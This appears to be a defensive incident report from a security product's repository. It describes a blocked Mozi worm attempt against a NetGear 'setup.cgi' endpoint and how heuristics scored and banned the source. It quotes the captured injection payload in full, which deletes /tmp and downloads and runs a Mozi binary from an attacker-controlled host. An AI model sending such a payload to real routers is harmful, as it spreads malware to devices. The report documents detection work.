Mozi worm propagation
Second and third sightings of the Mozi worm, payload pointing at the attacker's own IP; 88/100 critical, blocked, IP banned for 24h
Incident Report — Mozi Worm Self-Propagation (Production Capture)
Original source:
incident-report-mozi-propagation.mdin the repository.
Companion to Mozi: RCE attempt. Second and third sightings of the same worm payload against a production Sentry deployment; attacker IPs are partially masked.
TL;DR
Three days after the first Mozi capture, the same NetGear command-injection worm hit the target again from a different infected host — this time with the payload's download URL pointing at the attacker's own IP address, the fingerprint of an actively self-propagating worm. Same result as before: 88/100 critical, blocked at the edge with 403, IP banned for 24h. Two independent infections, identical detection chain, zero executions.
Event summary
| Field | Value |
|---|---|
| Timestamp | 2026-10-08 07:52:33 UTC |
| Source | http_proxy (inline edge, port 80) |
| Attacker | 153.117.66.xxx (masked, APNIC range) |
| Method / Path | GET /setup.cgi |
| Risk score | 88 — critical |
| Verdict | block (HTTP 403) |
| Aftermath | IP banned 24h (ip_state, reason rce) |
Notably, 0.7s before the HTTP request, the edge's TCP listener had already logged a bare connection event from the same IP — the worm connects first, speaks HTTP second, and both layers of telemetry captured it.
The payload
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd
&cmd=rm -rf /tmp/*;wget http://153.117.66.xxx:33581/Mozi.m -O /tmp/netgear;sh netgear
&curpath=/¤tsetting.htm=1Compare with the first capture (Mozi: RCE attempt), where the
download URL pointed at 192.168.1.1:8088 — the infected router's own
gateway. Here the URL embeds the attacker's public IP on a high port
(:33581), meaning this node runs its own Mozi distribution server and the
worm is propagating host-to-host across the internet. Each infected device
re-sprays the same injection against every HTTP endpoint it scans.
How Sentry caught it
Identical chain to the first capture — the detection is generic, not a Mozi signature:
CmdInjectionheuristic on the URL-decoded query → signalrce, weight 70- Missing User-Agent → signal
suspicious_u_a, weight 10 /setup.cginot a known route → signalunknown_route, weight 8
Total 88/100 → critical → verdict block → 403 served by the edge,
request never proxied, 24h IP ban recorded before the next packet could
arrive.
Why this demonstrates effectiveness
- Consistency across infections. Two unrelated compromised hosts, one behavioral signature, the same automatic outcome — no tuning happened between the captures.
- Worm propagation is self-identifying. Payloads that embed their own C2 address are trivial for a generic command-injection heuristic; there is no need to track the botnet's infrastructure.
- Layered telemetry. The TCP-level connection event and the HTTP request are both persisted, so the incident timeline starts 0.7s before the attack itself.
Mozi: RCE attempt
Mozi worm tries a NetGear router command injection against an internet-exposed target; 88/100 critical, blocked at the edge with 403, IP banned for 24h, zero execution
Distributed MCP/SSE scanner
25 IPs probe MCP/SSE endpoints over 3 days; the bad_crawler pack scored 25/25 at 100/100, blocked and banned them all